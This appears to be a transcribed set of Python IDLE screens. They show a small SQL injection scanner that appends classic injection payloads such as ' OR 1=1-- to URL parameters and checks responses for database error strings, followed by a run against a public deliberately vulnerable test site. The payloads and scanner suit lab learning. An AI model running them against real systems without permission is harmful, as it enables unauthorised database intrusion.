sql_injection_scanner.py - C:/Users/USER/AppData/Local/Programs/Python/Python311/sql_injection_scanner.py (3.11.4)

File Edit Format Run Options Window Help

```python
import requests
import threading
import time
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse

# ---------------- CONFIG ---------------- #
PAYLOADS = [
    "'",
    "' OR '1'='1",
    "' OR 1=1--",
    "\" OR \"1\"=\"1",
    "' OR 'a'='a",
]

SQL_ERRORS = [
    "sql syntax",
    "mysql",
    "syntax error",
    "warning",
    "unclosed quotation",
    "quoted string not properly terminated"
]

RATE_LIMIT = 1  # seconds
LOG_FILE = "scan_results.txt"
# ---------------------------------------- #

lock = threading.Lock()

def log_result(text):
    with lock:
        with open(LOG_FILE, "a") as f:
            f.write(text + "\n")

def is_vulnerable(response_text):
    for error in SQL_ERRORS:
        if error in response_text.lower():
            return True
    return False

def test_url(url):
```

Ln: 35 Col: 33

sql_injection_scanner.py - C:/Users/USER/AppData/Local/Programs/Python/Python311/sql_injection_scanner.py (3.11.4)

File Edit Format Run Options Window Help

```
def test_url(url):
    parsed = urlparse(url)
    params = parse_qs(parsed.query)

    if not params:
        print("[!] No parameters found in URL")
        return

    for param in params:
        for payload in PAYLOADS:
            test_params = params.copy()
            test_params[param] = params[param][0] + payload

            new_query = urlencode(test_params, doseq=True)
            test_url = urlunparse(parsed._replace(query=new_query))

            try:
                response = requests.get(test_url, timeout=5)
                if is_vulnerable(response.text):
                    msg = f"[VULNERABLE] {test_url}"
                    print(msg)
                    log_result(msg)
                else:
                    msg = f"[SAFE] {test_url}"
                    print(msg)
            except Exception as e:
                print(f"[ERROR] {e}")

            time.sleep(RATE_LIMIT)

def main():
    print("=== SQL Injection Scanner ===")
    print("⚠ Use only on allowed targets (DVWA / localhost)")
    target = input("Enter target URL with parameter: ")

    log_result("\n--- New Scan Started ---")
    thread = threading.Thread(target=test_url, args=(target,))
    thread.start()
    thread.join()

    print("\nScan Completed!")
```

Ln: 35 Col: 33

sql_injection_scanner.py - C:/Users/USER/AppData/Local/Programs/Python/Python311/sql_injection_scanner.py (3.11.4)

File Edit Format Run Options Window Help

```
        print("[!] No parameters found in URL")
        return

    for param in params:
        for payload in PAYLOADS:
            test_params = params.copy()
            test_params[param] = params[param][0] + payload

            new_query = urlencode(test_params, doseq=True)
            test_url = urlunparse(parsed._replace(query=new_query))

            try:
                response = requests.get(test_url, timeout=5)
                if is_vulnerable(response.text):
                    msg = f"[VULNERABLE] {test_url}"
                    print(msg)
                    log_result(msg)
                else:
                    msg = f"[SAFE] {test_url}"
                    print(msg)
            except Exception as e:
                print(f"[ERROR] {e}")

            time.sleep(RATE_LIMIT)

def main():
    print("=== SQL Injection Scanner ===")
    print("⚠ Use only on allowed targets (DVWA / localhost)")
    target = input("Enter target URL with parameter: ")

    log_result("\n--- New Scan Started ---")
    thread = threading.Thread(target=test_url, args=(target,))
    thread.start()
    thread.join()

    print("\nScan Completed!")
    print(f"Results saved in {LOG_FILE}")

if __name__ == "__main__":
    main()
```

Ln: 35 Col: 33

IDLE Shell 3.11.4

File Edit Shell Debug Options Window Help

```
Python 3.11.4 (tags/v3.11.4:d2340ef, Jun  7 2023, 05:45:37) [MSC v.1934 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license()" for more information.
>>>
= RESTART: C:/Users/USER/AppData/Local/Programs/Python/Python311/sql_injection_scanner.py
=== SQL Injection Scanner ===
⚠ Use only on allowed targets (DVWA / localhost)
Enter target URL with parameter: http://testphp.vulnweb.com/artists.php?artist=1
...
[VULNERABLE] http://testphp.vulnweb.com/artists.php?artist=1%27
[VULNERABLE] http://testphp.vulnweb.com/artists.php?artist=1%27+OR+%271%27%3D%271
[VULNERABLE] http://testphp.vulnweb.com/artists.php?artist=1%27+OR+1%3D1--
[VULNERABLE] http://testphp.vulnweb.com/artists.php?artist=1%22+OR+%221%22%3D%221
[VULNERABLE] http://testphp.vulnweb.com/artists.php?artist=1%27+OR+%27a%27%3D%27a

Scan Completed!
Results saved in scan_results.txt
>>>
```

Ln: 17 Col: 0